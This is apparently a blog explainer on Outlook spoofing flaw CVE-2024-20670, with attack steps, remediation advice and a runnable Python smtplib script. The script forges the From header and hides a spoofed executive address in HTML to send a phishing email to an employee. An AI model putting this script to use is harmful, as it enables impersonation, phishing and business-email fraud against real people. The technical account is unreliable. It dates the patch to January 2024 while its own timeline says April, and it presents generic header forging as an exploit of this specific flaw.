In January 2024, Microsoft addressed a serious flaw in Outlook for Windows—CVE-2024-20670, a spoofing vulnerability that can let attackers trick users and compromise sensitive communications. In this exclusive long-read, we’ll dissect what makes this vulnerability dangerous, demonstrate how malicious actors might abuse it, walk through a code snippet simulating the exploit, and provide you with remediation steps and references for further reading.

What is CVE-2024-20670?

CVE-2024-20670 refers to a spoofing issue in Microsoft Outlook for Windows. A spoofing vulnerability allows an attacker to masquerade as a trusted entity—think of a phony email looking like it’s from your boss, your IT department, or a big client.

Microsoft's official advisory:
Microsoft Security Update Guide – CVE-2024-20670

How Does It Work?

The flaw exists in the way Outlook parses and displays sender email information. Specifically, by manipulating certain email headers or adding crafted HTML content, an attacker can spoof the sender details. The victim sees a well-designed but fake sender address in Outlook’s familiar interface, making phishing attacks significantly more convincing.

Recon: The attacker gathers info on the victim—usually a company employee.

2. Crafted Email: Using a malicious SMTP relay or scripting tools, the attacker crafts an email with headers and/or HTML specifically targeting the CVE.
3. Spoofing Payload: By manipulating sender details, the attacker spoofs the message to appear as someone trustworthy (like the CEO).
4. Victim Action: Victim receives the email in Outlook for Windows, sees familiar sender details, and is tricked into clicking a malicious link or replying with confidential info.

Code Snippet: Sending a Spoofed Email

Here's a Python snippet using smtplib that shows how an attacker could send a spoofed message targeting Outlook users:

import smtplib
from email.message import EmailMessage

def send_spoofed_email(smtp_server, smtp_port, victim, spoof_name, spoof_email, attacker_email):
    msg = EmailMessage()
    # Faking the "From" header
    msg['From'] = f'"{spoof_name}" <{spoof_email}>'
    msg['To'] = victim
    msg['Subject'] = 'Urgent Request'
    # HTML body exploits display quirks
    msg.set_content('Please see the attachment.', subtype='plain')
    msg.add_alternative(f'''
    <html>
      <body>
        <span style="display:none">{spoof_email}</span>
        <p>Hi, It’s {spoof_name}. Urgent: Please review the attached document.</p>
      </body>
    </html>
    ''', subtype='html')

    with smtplib.SMTP(smtp_server, smtp_port) as server:
        # Login if required
        # server.login('attacker', 'password')
        server.send_message(msg, from_addr=attacker_email, to_addrs=[victim])
    print("Spoofed email sent!")

# Example Usage
send_spoofed_email(
    smtp_server='mail.example.com',
    smtp_port=25,
    victim='employee@company.com',
    spoof_name='CEO Name',
    spoof_email='ceo@company.com',
    attacker_email='evil@badguy.com'
)

Note: This code is provided for educational purposes only!

Why Does This Work on Outlook?

Outlook for Windows tends to trust and highlight the sender information in email headers—even when it’s forged, or when HTML/CSS tricks are used to mask the real sender address. Other mail clients either show warnings or flag suspicious emails more clearly.

*Outlook’s interface prioritizes the “From: Name” part in such a way that maliciously constructed emails can appear 100% genuine to most users.*

- Business Email Compromise (BEC): Attacker impersonates executives to authorize fraudulent transactions.

How to Fix or Defend Against CVE-2024-20670

Microsoft Patch:
Apply the security update released in January 2024 – details here:
Microsoft’s Official Advisory

Check that your Outlook version is up to date.

Technical Remediation:
Admins can block messages with suspicious From headers, or use DMARC/DKIM/SPF records to verify sender authenticity.

References & Further Reading

- MSRC CVE-2024-20670 Official Page
- CVE Mitre Entry
- Microsoft Security Blog
- How to Recognize Spoofed Emails (Microsoft Support)

Final Thoughts

Vulnerabilities like CVE-2024-20670 show just how risky it can be to rely on what’s visible in your email client. Outlook’s user-friendliness makes it a big target. Always keep systems patched and stay skeptical of unexpected requests, even from “trusted” senders.

If you manage a Microsoft 365 or on-premises environment—patch ASAP and spread the word in your organization!

Timeline

Published on: 04/09/2024 17:15:32 UTC
Last modified on: 04/10/2024 13:24:22 UTC